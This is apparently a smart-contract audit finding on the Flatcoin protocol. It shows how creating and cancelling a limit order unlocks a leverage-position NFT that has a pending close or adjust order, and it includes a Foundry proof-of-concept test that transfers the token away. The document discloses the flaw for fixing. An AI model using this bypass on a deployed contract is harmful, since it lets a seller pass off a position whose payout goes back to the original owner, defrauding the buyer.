Leverage NFT position token can be unlocked while having a pending leverageAdjust or leverageClose order.

Summary

Users can maliciously unlock the locked leverage NFT token while having a pending leverageAdjust or leverageClose order.

Vulnerability Detail

When calling announceLeverageAdjust or announceLeverageClose the nft token representing the position is locked

function announceLeverageAdjust(
    uint256 tokenId,
    int256 marginAdjustment,
    int256 additionalSizeAdjustment,
    uint256 fillPrice,
    uint256 keeperFee
) external whenNotPaused {
    ...
    // Lock the NFT belonging to this position so that it can't be transferred to someone else.
    // Locking doesn't require an approval from the leverage trader.
    leverageModule.lock(tokenId);
    ...
}

function announceLeverageClose(uint256 tokenId, uint256 minFillPrice, uint256 keeperFee) external whenNotPaused {
    ...
    // Lock the NFT belonging to this position so that it can't be transferred to someone else.
    // Locking doesn't require an approval from the leverage trader.
    leverageModule.lock(tokenId);
    ...
}

So token should not be transferable while having leverageAdjust or leverageClose orders pending. But it can be bypassed by creating and canceling the limit order.

When announcing a limit order a token is locked again (the _lock and _unlock functions don't check if the token is already locked/unlocked)

function announceLimitOrder(uint256 tokenId, uint256 priceLowerThreshold, uint256 priceUpperThreshold) external {
    ...
    // Lock the NFT belonging to this position so that it can't be transferred to someone else.
    ILeverageModule(vault.moduleAddress(FlatcoinModuleKeys._LEVERAGE_MODULE_KEY)).lock(tokenId);
    ...
}

After that, a user can call cancelLimitOrder for the same tokenId

function cancelLimitOrder(uint256 tokenId) external {
    ...
    // Unlock the ERC721 position NFT to allow for transfers.
    ILeverageModule(vault.moduleAddress(FlatcoinModuleKeys._LEVERAGE_MODULE_KEY)).unlock(tokenId);
    ...
}

This will unlock the token for the user while still having a pending leverageAdjust or leverageClose order.

Coded POC

Add this test to ./test/unit/Leverage-Module/Leverage.t.sol
add import {FlatcoinStructs} from "../../../src/libraries/FlatcoinStructs.sol";
and run with forge test --match-path ./test/unit/Leverage-Module/Leverage.t.sol -vvv

function testUnlockToken() public {
    announceAndExecuteDeposit({
        traderAccount: alice,
        keeperAccount: keeper,
        depositAmount: 100e18,
        oraclePrice: 2000e8,
        keeperFeeAmount: 0
    });

    uint256 tokenId = announceAndExecuteLeverageOpen({
        traderAccount: alice,
        keeperAccount: keeper,
        margin: 100e18,
        additionalSize: 100e18,
        oraclePrice: 2000e8,
        keeperFeeAmount: 0
    });

    // Leverage close announced
    announceCloseLeverage(alice, tokenId, 0);

    vm.startPrank(alice);

    // Announce limit order for the same tokenId that you announced leverage close for
    limitOrderProxy.announceLimitOrder({
        tokenId: tokenId,
        priceLowerThreshold: 900e18, // whatever
        priceUpperThreshold: 3000e18 // whatever
    });

    // Check that limit order was created correctly
    FlatcoinStructs.Order memory limitOrder = limitOrderProxy.getLimitOrder(tokenId);
    assertEq(uint256(limitOrder.orderType), uint256(FlatcoinStructs.OrderType.LimitClose));
    assertEq(limitOrder.keeperFee, 0, "Limit order keeper fee not 0"); // limit orders have no keeper fee
    assertEq(limitOrder.executableAtTime, block.timestamp + vaultProxy.minExecutabilityAge());

    // Check that leverage close was announced correctly and that tokenId is locked
    FlatcoinStructs.Order memory leverageCloseOrder = delayedOrderProxy.getAnnouncedOrder(alice);
    assertEq(uint256(leverageCloseOrder.orderType), uint256(FlatcoinStructs.OrderType.LeverageClose));
    assertEq(leverageCloseOrder.executableAtTime, block.timestamp + vaultProxy.minExecutabilityAge());
    assertTrue(leverageModProxy.isLocked(tokenId), "Position token not locked");

    limitOrderProxy.cancelLimitOrder(tokenId);

    // Check if limit order was cancelled successfully and reset to default values
    limitOrder = limitOrderProxy.getLimitOrder(tokenId);
    assertEq(uint256(limitOrder.orderType), uint256(FlatcoinStructs.OrderType.None));
    assertEq(limitOrder.executableAtTime, 0);

    // Check that leverage close is still pending and that tokenId is unlocked
    leverageCloseOrder = delayedOrderProxy.getAnnouncedOrder(alice);
    assertEq(uint256(leverageCloseOrder.orderType), uint256(FlatcoinStructs.OrderType.LeverageClose));
    assertEq(leverageCloseOrder.executableAtTime, block.timestamp + vaultProxy.minExecutabilityAge());
    assertTrue(!leverageModProxy.isLocked(tokenId), "Position token locked");

    // Transfer out
    leverageModProxy.transferFrom({from: alice, to: bob, tokenId: tokenId});

    // Check owner
    assertEq(leverageModProxy.ownerOf(tokenId), bob);
}

Impact

A user could potentially sell the token before the leverageClose is executed and then execute the order. This will send the margin + any profits or losses to the original owner creator instead of the current token owner.